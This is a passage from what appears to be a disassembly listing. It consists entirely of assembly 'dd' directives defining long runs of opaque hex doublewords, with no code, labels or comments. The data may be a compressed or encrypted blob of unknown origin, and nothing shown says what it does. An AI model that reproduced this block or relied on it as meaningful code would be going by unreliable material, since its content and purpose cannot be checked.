5A8529DFh, 0AA202C25h, 0E0CC7A22h, 0F007410Fh dd 9DE932B2h, 2CA5018h, 7021A80Ah, 3190CA94h, 3E17E130h dd 0DC14043Ah, 18450498h, 49E08488h, 31B8B887h, 22099709h dd 9CF2EDh, 0C65EF812h, 0A6F64704h, 94349F02h, 614C7DB9h dd 5EDE2CCEh, 74D13814h, 686E6Fh, 116ADA9Ch, 59188B3h dd 0C2FAEE76h, 7198404Ah, 72772646h, 4E0A61E8h, 0C6B79D6Ch dd 0E592C300h, 0F85CD0Ah, 457A974Ch, 3C7E0E63h, 405A2103h dd 0C8FB1C50h, 0F8952597h, 0B5893A07h, 0A9DE105h, 0E8E04008h dd 5329C122h, 44B9A000h, 42960F9Ch, 926D13CDh, 400800BDh dd 99D6882Ch, 6E84AB00h, 17220304h, 0DEC812C3h, 0BA284227h dd 45008254h, 9FC4E704h, 0D946DCC8h, 3A43413Eh, 0B63F03D1h dd 0B8A9A612h, 261C8D87h, 45600A91h, 0A81EEF1Fh, 2D871170h dd 0CF730390h, 24234D26h dd 10421832h, 80B8544Fh, 0DD5D3BFBh, 0A0271433h, 59022A5h dd 0A328B420h, 435023CBh, 0CDD71041h, 309458A6h, 4B774459h dd 7A1C3107h, 76421FE5h, 23C448Ah, 0F87E1A9h, 40B4DEF1h dd 0D4B0324Ah, 0E66C881Dh, 1C874D00h, 5C0CFD99h, 91426EF6h dd 281475C6h, 0FCD2DD5Ah, 853CB521h, 422F4C26h, 0DAE0A1A4h dd 0C919E47Ah, 0D63131C8h, 3C84344Ah, 0B6002E1Fh, 58E60C88h dd 9918C1F0h, 4DD10D5Ch, 7D2B02D6h, 0FA901D87h, 480E04E2h dd 0C6B2BC95h, 0C3CA1936h, 0D1629103h, 24208537h, 0A84F634Dh dd 14391890h, 61C963A1h, 0A921B78Bh, 15B10855h, 3A0FA001h dd 8C498C76h, 430CE4h, 0A1C2A87Bh, 0AF6F12F5h, 0F9DE67Fh dd 70009204h, 5D0ADE30h, 604EF21Eh, 0CEC2816Eh, 58F9451Fh dd 30A0D820h, 4F5041FEh, 9C92E6A0h, 3B084360h, 0F80E03ABh dd 909B5DF4h, 49275C05h, 0D82BABCCh, 30EF76A1h, 1E6197CCh dd 0E76B6808h, 0C4EBEF30h, 0C1E33010h, 8C1D5B1Ch, 8BD5E10h dd 18E4624Fh, 4502260Eh, 0D6C8031Ch, 0C9230810h, 50E66238h dd 902059BEh, 192231B3h, 13BD908h, 0F0014C32h, 66A012Eh dd 1EEC901h, 0AB01F4AEh, 2048BF5Eh, 0C45B985Ah, 0C2DA908h dd 40EE49A0h, 5C635B21h, 20CF6630h, 0D162FB99h, 2DA6C69h dd 680FAB5Ch, 0CECF0C35h, 38409C08h, 9DBC4033h, 0A02F84A8h dd 0C4ADED80h, 637BE08h, 6EA9BA2Dh, 9918083Eh, 7080AE90h dd 29F383CBh, 4B630810h, 6288982Ah, 1733B168h, 10606903h dd 2A312B10h, 4831C055h, 0DB9A08B7h, 88A74502h, 1F0808FDh dd 6ADF0CD1h, 1640E140h, 0BA50405Dh, 0EFEE51C4h, 6B691B0Ch dd 4123B0A8h, 3E0E61C8h, 4E2011A0h, 0D31620FAh, 8C418F6h dd 10043A9Bh, 0F1F11CF6h, 2D01F088h, 68B801C1h, 41086099h dd 0A0B988E3h, 9EDD0804h, 845300Ch, 0AEA4401Dh, 0C6D31E40h dd 8F5B149h, 8D801954h, 41FEC940h, 903CF958h, 6F100839h dd 22DB1030h, 12B2CC10h, 640AE2C5h, 6F88FC91h, 0F1141903h dd 102C631h, 4F12441h, 2E0C489Fh, 0AF4035B9h, 0D9516424h dd 3BEB04B8h, 0CC54B04h, 401621FFh, 21405B56h, 0C6A0A86Dh dd 0B1098028h, 6188F281h, 0BD1533C8h, 9323190h, 0F8014E98h dd 2061241h, 0BB02F78Dh, 1F5B24DBh, 3FF6E1F1h, 0F910E703h dd 2D315492h, 2A1D319h, 1384AF42h, 0DDD0444h, 6D8D204h dd 2008FD9Bh, 9F204B3Ch, 0FC4620A9h, 1D19C262h, 0DA26021Ch dd 2E5AA02h, 0B205C3CEh, 22989049h, 2BB9910h, 79022F4Fh dd 923E042Dh, 0A4A2E290h, 7402F37Fh, 0BD8E02B9h, 2B5E502h dd 1706B32Fh, 59F662E1h, 2805AD53h, 26AFE449h, 20395A04h dd 1A2045FDh, 0E87E20F9h, 85F9FE60h, 995CB7BBh, 968401A4h dd 28A5052Ah, 0A0CC039Ch, 0B992D12h, 4B4C8A10h, 32E80D03h dd 0CE29BE98h, 72C4724Dh, 631E4800h, 2846854Ah, 1CD80003h dd 41693FABh, 0F5FA19A8h, 98ACB8B1h, 0FB26F600h, 3A9235B5h dd 0EF0620C2h, 90946724h, 77009C73h, 0A7F95CA0h, 32E45CBh dd 1192EE33h, 0AED49643h, 45C18C1h, 3A8DC19Ch, 6F419801h dd 9E7F0524h, 4304FC18h, 28FCF123h, 70EA9A51h, 0BC9E0F74h dd 24C41CAEh, 0D54F055h, 8A2B8400h, 0D4E15AB9h, 42370056h dd 326B65CAh, 74E72CC1h, 5E002428h, 0E2DD0FA1h, 226D0EDh dd 41994607h, 3CD05FFEh, 7D534B01h, 0E6B40670h, 0E04483F3h dd 375C29D3h, 0E0484C78h, 0CAC49912h, 2F48D01h, 0B028161Fh dd 14D78CF0h, 80E9355Ch, 0EE522401h, 3DE39EADh, 58230CECh dd 6F92B8BCh, 3F28E839h, 0C31940Fh, 3ECD917Dh, 564C2609h dd 0EE4B8800h, 2321E1C2h, 30B64731h, 5BE40348h, 0D687000Dh dd 0ECE5693h, 0FE00C41Ch, 5345EF36h, 23BC96h, 43FD1BA5h dd 374478C7h, 0C4CC8850h, 0C440E15Eh, 6F862996h, 4494050Ah dd 80CA741Ch, 0C67F1606h, 0AA60D6E8h, 4E680A29h, 0B33F0011h dd 0AC979DD7h, 1D000C32h, 0E1C8FFC4h, 1DD62EFAh, 0C39E7E2Dh dd 0EA08A118h, 727736F8h, 6D50F801h, 0F49CDD7Bh, 0A0E634F5h dd 6E215ABCh, 86ED0084h, 0CE4496F9h, 81485277h, 4CBC4A48h dd 0ACB8DF14h, 0D02BE341h, 536DB45Ch, 198CE95Dh, 4318C77Fh dd 48D5A440h, 8E370066h, 52E5074Ch, 0E67F4F5Dh, 0D5308D60h dd 407846h, 0FE574B29h, 9E939B1Ch, 42DBE500h, 270B235Ch dd 602DFA0Ah, 2CB583Ch, 1374467Eh, 4B433A04h, 68902209h dd 489F717Ah, 4D3078FAh, 0A7F46618h, 0A1727400h, 0CADF515Ch dd 0FF860045h, 20D54498h, 2153FAD2h, 7F760524h, 645E8EBFh dd 40C0D412h, 0C458F823h, 81FCFD28h, 49369Ch, 79700Eh dd 0CF558390h, 39D085AAh, 0B3602375h, 1CEE0420h, 376FB0EFh dd 60109503h, 36A5109Fh, 52E0F109h, 28448FEh, 0F398017Dh dd 303BA0C3h, 0FE7BF493h, 4C10EC24h, 6286E137h, 97945831h dd 0C495127Fh, 9C2C20CCh, 79026977h, 9E5E446Ch, 258444DCh dd 68C83E4Bh, 3A60FFE6h, 79687F18h, 0A2292655h, 0C0AC17AAh dd 9DF5421Ch, 2488AF02h, 6015E18Ch, 0FCA0C738h, 33F00DEh dd 7CEACEBh, 393F5B4Ch, 0E6740653h, 140A8D1h, 28D4FA6Ch dd 68C4CB4Eh, 760D0044h, 0EA5C84E9h, 8688CF53h, 0C88C1092h dd 98B95440h, 0E7A81250h, 44E46469h, 8C109680h, 4820E644h dd 0E9702AEh, 0EBB1E70Dh, 50B04C48h, 911001B7h, 60239641h dd 3E14DC54h, 3A76DEC4h, 24005F61h, 9253D022h, 783FD2FCh dd 143993ECh, 204288ECh, 1AB05C38h, 0CDD94FC0h, 123A1C3h dd 0DD200A89h, 70704DA4h, 91265C98h, 1E095895h, 9EAD01E7h dd 0CC41D15Bh, 0C0039CDh, 9D305C1Ch, 9E6B2892h, 3E6974DFh dd 0DE7E5767h, 0B50DC081h, 447724C5h, 0FE835406h, 6668DBA8h dd 2840A696h, 924517Ch, 9E6070C6h, 91CBC431h, 0EAFE041Ch dd 545AABA8h, 75A083B0h, 7680068Eh, 20E356FEh, 29E8F704h dd 0C8C08301h, 500F7543h, 305A030h, 5C733A97h, 5800423Ch dd 4927A082h, 48EE3B86h, 2685B80Ah, 0FE4490F5h, 58C4D3D6h dd 3CC84951h, 2B9E1255h, 79583148h, 496014Ah, 12F036F4h dd 4C6C4E4h, 0C09C1AACh, 0CC3EFDBCh, 895CA70Ch, 2D3846h dd 35ACB0DFh, 599923E0h, 0F04450C0h, 6624E73h, 69D65021h dd 109AA02Eh, 0D2DB9C83h, 0E8B7F87Eh, 4069E9Ch, 46F91EACh dd 61289D71h, 292CB53Eh, 75511801h, 78400C9Ch, 9846E51Eh dd 38A062ACh, 0D4DED47Ch, 884FE382h, 1910CE5Bh, 207376FEh dd 0FC5680C1h, 93914A33h, 233E004Ch, 1EF89765h, 0E2C240Fh dd 0EB8CE49Bh, 8786Fh, 0D76DCA36h, 5133A6B1h, 0AC044600h dd 97A2099Eh, 234C0CF1h, 0B9389264h, 0E967812h, 5BEB7031h dd 18085024h, 182B4424h, 0B835E6B1h, 481EE94Fh, 0A0730509h dd 0D0EACBECh, 58CC2403h, 7090944h, 53435C83h, 7E0D1018h dd 0EA160h, 0A88D8212h, 7A24191Eh, 0B0FD3540h, 2114E50h dd 0EDDD9AB4h, 64C8244Ah, 39009E0Dh, 0FDDE9F60h, 39E2B8D2h dd 24011DE3h, 2D5C3221h, 0E6B885BBh, 5C94B67Bh, 0E0C46C44h dd 82D794CCh, 81BDB041h, 0D240B20h, 0A2C02C96h, 20D49032h dd 78129299h, 1408CE50h, 0F7902823h, 26FEDC70h, 6F5C6560h dd 0D0AAB304h, 699457B8h, 0D4BFB024h, 66DC3800h, 2F52CC15h dd 7040EFE6h, 0BB01F670h, 5C406D75h, 0F1B83C05h, 62984C24h dd 2064E09Eh, 4405148h, 805B247Bh, 8831FA05h, 0F3006780h dd 0E98A6FD0h, 7EB45B48h dd 0E02617A3h, 3C200092h, 966FC87Ch, 642C250Fh, 0E35CA5FEh dd 49E9C40h, 8267150h, 7AB324CCh, 82B71A80h, 4D65A87h dd 4DE7D28h, 6CC0C1CFh, 6ED870FDh, 883DCC07h, 51C7EE2Bh dd 80044C82h, 0CFD6A060h, 113E635Ch, 7292FE7Dh, 82E3486Bh dd 5C6885C2h, 9301034Bh, 0E68DA331h, 0F8AC62A2h, 53924548h dd 0E0461084h, 7F83CC46h, 614CA54Eh, 8BD41500h, 4CEB12A0h dd 59FA1481h, 49DD23FCh, 213A099h, 0C8585BA3h, 0CA0FEC0h dd 0C2012091h, 815121E6h, 0A50FC051h, 77D03983h, 590E2DECh dd 0E19E4FAAh, 5C04E6B8h, 7650788Ch, 14835BA8h, 0DCFC9678h dd 82882312h, 0F8980F48h, 9D025EE1h, 53CC7544h, 0ACB5C04Eh dd 1B3A0768h, 0F0FE9E5Ch, 0E4C7BBC9h, 0A8763B0Bh, 5198387Fh dd 37A89979h, 54828998h, 0A409CB53h, 0DD02A0B0h, 0B46B430Bh dd 9EF8D0EDh, 8D26AC26h, 392488FAh, 44D62032h, 0FC4A05A0h dd 0B5BE4DFh, 0FC000AFCh, 246E4C0Eh, 8CAF5C2Ah, 0A008CA09h dd 4B048015h, 2E3DB556h, 245C6AE7h, 0B8082064h, 565C1090h dd 0F786011Ch, 0BDE6B6A1h, 6466FC34h, 0C8D69644h, 30914B9Ch dd 24D88C94h, 2A0094B1h, 0E487F7B7h, 0FE4F1302h, 4C284386h dd 0BEE0D203h, 0E12C1E43h, 1134BA4Bh, 0B849B800h, 0B9B2214h dd 0CBB62A5Ch, 3C38F028h, 1BE63406h, 1662103Bh, 687CCCE8h dd 0C9DEF94h, 5142DE0Bh, 0CA09E988h, 5824A4h, 6F2C7268h dd 3068C19Bh, 0F0363571h, 0C61D3253h, 730754B1h, 16A085D4h dd 1551480Ah, 8C877A2Eh, 0E744004Ah, 36C56399h, 7459A000h dd 0FE7CA748h, 13E8945Dh, 0D80C0043h, 280F9A0Ah, 0D5624B00h dd 0E6DEF15Bh, 0D43E4DE0h, 638D0572h, 0E0B12348h, 7750AC14h dd 3C4026DCh, 0DFEE00C4h, 0FEA2829Fh, 0E0A00F1Ah, 0A60202B8h dd 0D85BB311h, 0FE18689Eh, 0B0D014A9h, 1979C827h, 1885C546h dd 95B8E709h, 76093E7Ch, 60722464h, 1241DDA4h, 4A87E75Dh dd 0DD4AB98h, 20680210h, 1D056ED9h, 5EE6BD46h, 9479E8D0h dd 0C8E458B6h, 0A5C23E81h, 18703830h, 7D909CF8h, 6824246Ch dd 0E3B780CCh, 75AEFBCh, 8D319600h, 5C422A4Fh, 3082660Eh dd 0FA04408Ch, 32B04341h, 5C56CC80h, 680F604Ch, 0DD2246B2h dd 30854D32h, 0BC88086h, 1EC39D10h, 2C2EE6B7h, 0AE2D8188h dd 21247451h, 183464B9h, 0CF160917h, 42AC8F0h, 37BE9604h dd 9DAC802Dh, 6498AAEDh, 6EFE7B15h, 4C344AE4h, 0FE821CB2h dd 68414DB4h, 0ACC02EB1h, 0E81139Ch, 0F757150Dh, 0EFC547DDh dd 7734D0FAh, 0A74D123Fh, 61A851CCh, 73488B10h, 0A0B8824Ah dd 94C157CFh, 28203577h, 0B5D4E718h, 9C6C0CC0h, 9A4AF45Ch dd 0CF0B3E54h, 73C5B44Ch, 82CC809Ah, 88B06699h, 9A6A0C25h dd 97072ACh, 0AAF56498h, 0C3035C94h, 0BAFFCF03h, 953010CDh dd 382309BBh, 0C8502196h, 20C0DDC0h, 0E8D532FEh, 94602761h dd 0D05C630h, 0FF5C8C8Eh, 96C88h, 0D6620FB9h, 727738CCh dd 41D8BA0Fh, 0A8A1EC23h, 2A540CFh, 3634F000h, 0E61C858Ah dd 10B200D0h, 0CC44F196h, 5E074C6Dh, 0D928642Bh, 4DC3CEF3h dd 9E008CB8h, 2233D812h, 0A004B4Fh, 0BB682D14h, 304C0826h dd 82111362h, 1C3D2896h, 449E024Dh, 1010A102h, 814A8D5Ch dd 0AD0FC50h, 0C0C113E6h, 1948D100h, 65C3FE15h, 0E4B2B080h dd 8909CF4h, 0FF049301h, 0B0544B1Fh, 18BFFCE0h, 280E71E6h dd 36074C75h, 98062E62h, 5772CFC2h, 6C859829h, 51808696h dd 4339FC1Ch, 0D3F42A55h, 8FD92C00h, 984403D8h, 1EDE0070h dd 19E8E99h, 6801D746h, 0E683857Bh, 38AEF20Ch, 0E8C077Ch dd 4C087CC2h, 81643C00h, 0D8507047h, 21D51487h, 7F019C2Ch dd 1E5AD9CAh, 0C89460EEh, 4ACC780Eh, 0B2232520h, 0C40090B8h dd 78929CBh, 0BE269EAFh, 5826C4AEh, 44D7508h, 0B4CFA86Bh dd 0E898B828h, 8A7C711Fh, 4004392h, 72DF1096h, 5CEB0A53h dd 26BCAD0Fh, 1F23C134h, 0E7C40028h, 0BFBB0FA6h, 5C633E15h dd 3060AC52h, 5EE52548h, 0FC231E8Bh, 574C40FBh, 0D32791CCh dd 75781C58h, 81591D19h, 0D470E560h, 4BF6D8h, 2C8C4E07h dd 0FEC1E6A4h, 0D400A8B8h, 7809DFD3h, 581F5E0Ch, 0BA006C96h dd 1D7CB059h, 28FEE877h, 5CA8670Bh, 0F0D013F4h, 3A377193h dd 5A092C96h, 0E880D17Fh, 9AC0A9ABh, 7D24D607h, 0FC40965Eh dd 0DD5350h, 353BE6C4h, 121694FEh, 0F8A0AC28h, 0C9B00A8h dd 898B6000h, 0F2DE9E63h, 8F3502B2h, 8C015CA2h, 6C7898A9h dd 3021B60Ah, 6F000874h, 0E6A6AF5Dh, 0D00397B5h, 5FC22479h dd 86ADA881h, 686AE012h, 88B03892h, 12CCB949h, 0B48CFE98h dd 0CDE94485h, 2D20597Eh, 4DE31FE8h, 49ADD36Dh, 0C041DF90h dd 0C4703898h, 6C881196h, 2C3150C6h, 5BB0929Ch, 7F780381h dd 28336649h, 0CA4B819Eh, 89B0AF41h, 83CC4F78h, 364F5C95h dd 0FCDE200Bh, 58BC82D0h, 40D300ACh, 4BE0E1C5h, 97A95900h dd 0E3A5BE2Fh, 0EA9D066Eh, 50F07A08h, 0B8B4A02Eh, 0B283D0Bh dd 0C0D40A10h, 0F67090B0h, 0C37300E4h, 90E90DCDh, 2648AE34h dd 0EE040080h, 0E6F47A22h, 1A094C3h, 3069D646h, 0F094713Bh dd 0CC913C0Ah, 0B20464A1h, 0CD4112h, 73FEC809h, 0F290A27Ch dd 93A8A04Eh, 795124B3h, 0A525280Ch, 67D13A4h, 88C64630h dd 5C254898h, 76B06038h, 0CDE824FEh, 0F1FD87B8h, 37A0C116h dd 0A51FDC71h, 0A107E175h, 490A3F12h, 58C47944h, 0E8C54831h dd 0FC70E3F5h, 7D622E7Fh, 8EFE638Ch, 5A4B1101h, 0A4AD29D2h dd 7762F882h, 0D060670Dh, 214C870Eh, 38FE0C48h, 534530CCh dd 95013449h, 0DA2478D4h, 0E90C34A0h, 0D8243491h, 42FF4A42h dd 0A6505178h, 8C83149Ch, 0CA3AD801h, 0F8D648BDh, 734EE649h dd 2CD4AC00h, 0B06835B7h, 0BE7A34h, 0FEDE67FAh, 0B96F5CCDh dd 0D05040C0h, 74F7FD9Eh, 7716007Ah, 6DD32A97h, 44A8CA47h dd 241A1B8Dh, 0C1A85305h, 0A8821294h, 7946ED1Eh, 8CA16C9Ah dd 96348723h, 0A80F2010h, 4C4140B2h, 770B9Ch, 2E9D8E82h dd 64A095E6h, 8D157903h, 0E8CFDF1Eh, 2773F977h, 482009FAh dd 3CC1ED4Ah, 0D2405760h, 3D6DC64h, 3488760Ah, 0A0B01611h dd 1C076A7Eh, 0ACFE7779h, 401726F2h, 813841A4h, 0D266E89Eh dd 245FD705h, 0BC40BB4Eh, 0D1DDB0F3h, 210C3C32h, 9606EB03h dd 19C3202Dh, 111A2000h, 2A4684F2h, 1097A0AFh, 74E807FCh dd 91FD9493h, 25767DA3h, 23B88578h, 3080DAADh, 0EA9DD057h dd 7D783AA7h, 431101F8h, 0E023ABB0h, 0D721CC0Ah, 0E64A2505h dd 0A4916A07h, 0FC20A798h, 0DA5C14D1h, 600D869h, 0CF569911h dd 0FF1D25A0h, 5C84D561h, 88E52849h, 10083D5h, 0D2774E85h dd 68735C18h, 0D213E340h, 0E0700408h, 44D021Eh, 1F847222h dd 60F571h, 0D5949EBEh, 0D65FA377h, 4329F040h, 9018DDA0h dd 683FAD4h, 5F5BC09Eh, 8617803Ah, 0F8634CFCh, 0D671182Dh dd 7E53E031h, 19B6E80h, 5670030Dh, 30EE327Ch, 1604065Bh dd 22E6AD0Bh, 0E47420E0h, 812B6192h, 380DA0FFh, 10DF88A4h dd 0A5986679h, 4089479h, 0F0A8E6B0h, 0CEF4702Ch, 87206D6Bh dd 2CC623D4h, 50AB0210h, 327BA372h, 0FAF3E099h, 10811140h dd 46D1DB0Eh, 971E26E6h, 953E7DC0h, 33C26803h, 33C95DE9h dd 48207884h, 75A88063h, 885A7360h, 1240F424h, 0DF794Fh dd 11A54825h, 0D9E7C5E0h, 9935CB25h, 29E0BAD8h, 2B15F72h dd 0C5662350h, 82CC5C48h dd 6A73E006h, 5410220Ch, 6A18016h, 9A98F632h, 7F0018DFh dd 3E3043C3h, 50B25BC2h, 154CCB5h, 0E4B4F466h, 3444811Ah dd 5140C348h, 0A9E610ABh, 0F8721343h, 245C8CE4h, 0A4A827B6h dd 3C82148h, 18FE7CAFh, 0D0BC84B4h, 4BC27D8Ch, 577F6B0Bh dd 2040CE83h, 8C5810DCh, 445A8428h, 0F484124Bh, 0C4ACB55Bh dd 0E14AE662h, 0CFA76003h, 0B728C1C6h, 2531093h, 9B667990h dd 0C4DC64E2h, 0CFFC4828h, 4BAD6540h, 52D42794h, 8464E04h dd 0E6B59D06h, 24806C52h, 1A582897h, 0A4D7F9C3h, 288CE1C0h dd 0B102F3EBh, 0B73E4CF0h, 0ABDD8BE3h, 3D14806Fh, 1D755860h dd 40059E87h, 445C0C4Eh, 0A8A0835Ah, 18001009h, 71CAC43Dh dd 24B27A8Bh, 95C323Eh, 9C189BC1h, 24000D9Eh, 4B489F87h dd 5DDA25Fh, 0D7E63E89h, 98003BFh, 17A054DCh, 13548EA3h dd 4B403DD4h, 15FE13B2h, 2E0C9CE5h, 0DD92E105h, 90B22481h dd 6C695C0Ah, 528D17A0h, 962C04C0h, 0C4131DA6h, 726F0400h dd 24233350h, 53CF539h, 809F55A6h, 0F8091ABCh, 538A356h dd 0B4329E7Ch, 163F00A2h, 0C80A0294h, 27F3110h, 246EF756h dd 1744485h, 507C12C6h, 30BC9663h, 527DF0FBh, 44E88609h dd 0EB34842Fh, 81297F02h, 41A1D8C8h, 0BA309E16h, 7BE44000h dd 64C5D7Ch, 8D785954h, 94604046h, 4A3DF690h, 60FE1364h dd 38C4587h, 423CF520h, 0FC7E4EC8h, 2385542Ch, 98E43FD3h dd 608E4B7Dh, 0A16DC06Ch, 5B4B4900h, 0DEB877FCh, 4CF8011Ch dd 345FEB53h, 95A06089h, 0FE174EFAh, 6C908547h, 7D5F87h dd 7FD2D749h, 0B44631DAh, 0E19EA500h, 53BF619h, 77350CCCh dd 0A291C3A8h, 0C5E6B80Ch, 5B7A8896h, 0A73CC04Ch, 24EC6E7Eh dd 9001125Eh, 0AC0FE2B8h, 4AFE4FC8h, 2010A1B9h, 87019E5Dh dd 0EC1CCB0Ch, 0E7136C2h, 788365F4h, 3C2E7899h, 0F17996DDh dd 945F5CF8h, 28D22468h, 53882414h, 0A73E0820h, 0E4E29E09h dd 20082104h, 0A49F570Bh, 80853030h, 8410B0C8h, 60825C24h dd 0C00469Fh, 10E72D3Ah, 78D20094h, 16825DE4h, 0CB004822h dd 0A62957Ah, 9A64096h, 0E2287F41h, 0FE1218E4h, 7C89985Fh dd 23A07468h, 78C09F0Dh, 0EF091D9Ch, 0E318C988h, 0B93840DEh dd 0EB21E0B6h, 0B8557B6Dh, 0A993F634h, 0F468D534h, 9838D98Ch dd 49818B8h, 0B344A49Fh, 335F9CD0h, 0B09A2EE8h, 9F29004Ch dd 162476C8h, 0C020A141h, 466740B9h, 9EAEBD00h, 0E392A808h dd 2DE401C5h, 1FA37078h, 807C2C55h, 34126DF8h, 0D85C1474h dd 3225C47Fh, 0CC6C3CA9h, 0CC22214Ah, 0F8C452A2h, 9F9F859h dd 0EDE19905h, 9C804C4Ch, 6F0ECF55h, 0A04235E2h, 0ED04DE39h dd 6DCB06FCh, 60C33224h, 7401447Ah, 7931ACD0h, 64DD5C8Ch dd 0ECB890ADh, 209ED2E6h, 0FA16700h, 0E61F3BB2h, 518301DDh dd 2A48DBE7h, 9182DD5Ch, 0D60716D1h, 0F10A4323h, 0D09D1190h dd 1F04D964h, 0A65CA17Bh, 39E54A0h, 5A6556D6h, 0E0E19568h dd 1C4882B2h, 0D24B24EFh, 30809508h, 0E1DC72DEh, 11E6AC12h dd 0BC9FA840h, 9F91BAAh, 150A5C0Bh, 0C080E682h, 0A93B0CD2h dd 9C739FDEh, 4081695Fh, 94E91EBAh, 0CC9B2ED8h, 71F8F171h dd 0D008A0F2h, 3C427E6h, 0F3952479h, 0CB43D81Fh, 3A4429DEh dd 0A4ACE7E4h, 3EFC9D1Ch, 1D449E4Ah, 2E127E50h, 0B02C44Fh dd 3864BAh, 42813A5Ah, 0EBBD9647h, 0A4F57903h, 0A5EDF5Ch dd 2E9E50A0h, 5C4A2Ch, 76C73E79h, 0C930E683h, 3FCD186Dh dd 0E2E804C5h, 90646A23h, 2C9E4E6Ch, 5DE15C19h, 702E7B50h dd 4911A010h, 0E1BF14F8h, 206C75C0h, 0E710FE09h, 71139464h dd 78122344h, 22032031h, 0D0588C13h, 35A61018h, 5CF2B03h dd 0AE01C06h, 0CE03D24Fh, 1BB21AC5h, 9DF59028h, 0E5DF0613h dd 4925DD2Dh, 5EFB02EDh, 0EE9747FCh, 150CE64Bh, 94016F58h dd 0CCA1EAC4h, 50304D7Dh, 0FF1503D4h, 0C8215CAAh, 716BE803h dd 819D24h, 49D0A758h, 5BE6F1EEh, 546283Fh, 88A6C236h dd 15C14C0h, 1638DE5Fh, 30CCD92Bh, 0B940947Ch, 741A1744h dd 0C45001Ch, 8CF2C418h, 13FE1238h, 1C002950h, 0FB946304h dd 3E4C026Bh, 0A4166D36h, 7A284840h, 6CB03Eh, 0FC6E9C5Bh dd 0F0191EB2h, 119D6803h, 29271AB0h, 0AF25705Ch, 971880E4h dd 0B7CC741Dh, 811990E1h, 0DDB5A111h, 62E0A82Ah, 0AD11049Eh dd 0D299A3E6h, 0C2110C30h, 88351C31h, 4B808078h, 7F37B85Ch dd 0E626BA04h, 0ACD1A024h, 0B1D70103h, 108A8B08h, 1C880DFDh dd 8C64E9h, 3713F0C3h, 0CAC058D7h, 73DA7AB2h, 2EA60785h dd 1349604Bh, 4F826CDh, 0CC04C498h, 762D39B1h, 0A4707CDDh dd 60AE4124h, 464032FCh, 80964973h, 0B006296h, 0F044C45Ch dd 79023CBCh, 9677B99Dh, 5C164C59h, 0BC012AC5h, 3BEE2411h dd 0B4B21892h, 4C802118h, 6DB88396h, 0B09AC7CFh, 52E6E4A0h dd 0D4106160h, 2D938Bh, 0B5109F4Eh, 0E6497E72h, 0C0007EEFh dd 0FC5713CCh, 0B8522A08h, 0CD070CB0h, 0F5A8B031h, 8802EB0h dd 29D2BE6h, 54CFA8D8h, 5E5C84DCh, 0FFE5003Fh, 7FF757D1h dd 1C809708h, 72C75C9Ch, 62E0749Ah, 1BE3AD02h, 72700F23h dd 0CADC01A0h, 0CDFE2520h, 2C38A6BCh, 97685849h, 717D8080h dd 0EC93AB9Fh, 9C134D10h, 2D6013DFh, 7BB8C750h, 0A6032BD5h dd 86246FA7h, 94202C36h, 0FFE908D4h, 1E28F500h, 165C83CAh dd 98BA3AC3h, 5582511Ch, 46A06B43h, 302569E6h, 0F208A44Bh dd 24BB3CC0h, 15E84AE1h, 0DD13D068h, 55901727h, 2C756C90h dd 6FBC15E6h, 101DC0A6h, 7A1BC303h, 403F09Fh, 43320152h dd 2060E79Ch, 8BC8BCC4h, 509A85CFh, 0E20034D8h, 1427E48Ah dd 20EC096h, 5CDFE558h, 0BCEC47BEh, 6EAEE61Ah, 0BB42F48h dd 22B8DC3Bh, 438800ACh, 1EE704EEh, 304F9723h, 0BCBDD0D3h dd 0AB201602h, 60C6ECC2h, 9C7E070Ah, 0C85ACC7Fh, 183B6A34h dd 2CC4EA03h, 0D51A7224h, 5CF1BD20h, 6818BE24h, 7C0C384Ch dd 0D378770Eh, 0C6BC1BCEh, 3C969D18h, 0F63FFE12h, 276D20DCh dd 1C449A42h, 1538E0B5h, 3BD2EE67h, 285DEB5Ch, 19AA72Eh dd 0B9A17924h, 0C0DC6C83h, 587F4FB5h, 3E6613C0h, 0BDA8C094h dd 0F4052EE9h, 62B75CE2h, 677CF800h, 2418FC9Ah, 489877ABh dd 9B7B089Ch, 0BA93730Bh, 3BE0A290h, 937D01DCh, 488479ABh dd 0E416703Ch, 0FC4716E6h, 982C557Fh, 0A2292623h, 0F440A79Ch dd 9060035Ch, 0C6B72A88h, 22402F8Dh, 614D40E8h, 4AFE210Ch dd 48754191h, 47275CE7h, 3232C0A5h, 7D02CFACh, 0DB8C844h dd 3CA281B1h, 0B30CDFA4h, 0EEEA18D4h, 27970276h, 90FDE693h dd 2231448h, 7CD82A4Fh, 0EF64071Eh, 4086DEACh, 0E594E647h dd 0BA6D30C5h, 9625C4E6h, 0A0263C29h, 0ECFD484Eh, 50DB245Bh dd 0F143C118h, 8D888ACh, 0E200B87Eh, 9912A11Dh, 0B0282F36h dd 428B88A0h, 9E02D0F6h, 7E8301DDh, 0BCA0554Ah, 373FD673h dd 0C8B4E34Bh, 0C0CA4E1h, 75635C98h, 10162660h, 84219946h dd 0EAC5FE4Fh, 7845CC2Dh, 9AC69AFCh, 1DDA33E4h, 0E2C53119h dd 0E6B88270h, 705075h, 0A450F466h, 0AA5CCC67h, 2339AC9Ah dd 882B24DCh, 0EDC7F440h, 1685056Ah, 44D6B3C1h, 0F1AC0908h dd 0C282920h, 4861075Ch, 0B0009A76h, 3C10B534h, 0AF803836h dd 4E5E35E6h, 7DCC0488h, 9FB4CC20h, 0D0D8B200h, 607942D6h dd 0CE391DC2h, 9E310002h, 163D1CE0h, 30445F02h, 0A041FE78h dd 0E637CCD8h, 58D76371h dd 33E2F9D0h, 0B09458D8h, 7732EB60h, 76150628h, 89AF4F8Ah dd 0D8136FB6h, 782D3C31h, 97490A70h, 0A094CC06h, 135C7D48h dd 0E400447Bh, 39DD2C9Eh, 8FCC9999h, 26DEB15Ch, 0A47D628Ch dd 9F707C48h, 27FB5C09h, 3A8859BAh, 60B15C7Ch, 7581C07Ch dd 9AD17F80h, 532AE02h, 68715C09h, 2F55644h, 0E61C8CECh dd 5E0052EBh, 3E9E33C2h, 1B8078F6h, 0DEC48B5Bh, 6C0511ECh dd 0AC0720F2h, 29943491h, 0A4A1C893h, 24016BA8h, 0FE7B3CF8h dd 6880DAE0h, 95CD543Ah, 0E613C02Ch, 0EC3384CAh, 0AAC8047Dh dd 0D3D1DE6Dh, 0F2E4C738h, 269600A8h, 0D45A3831h, 68E801C4h dd 16141B99h, 16C7105h, 450E9608h, 23B4B014h, 20F06B26h dd 8AB89315h, 0C43D10B1h, 181D7C44h, 481B129Eh, 0E006A5AFh dd 3DB95CA7h, 0F0389A88h, 103360CCh, 0C4D2FFDEh, 3F5AE70Fh dd 2596A74Dh, 2A4253h, 848EC718h, 4C69515Eh, 44C85318h dd 0A2144FF0h, 0BDB0C0D4h, 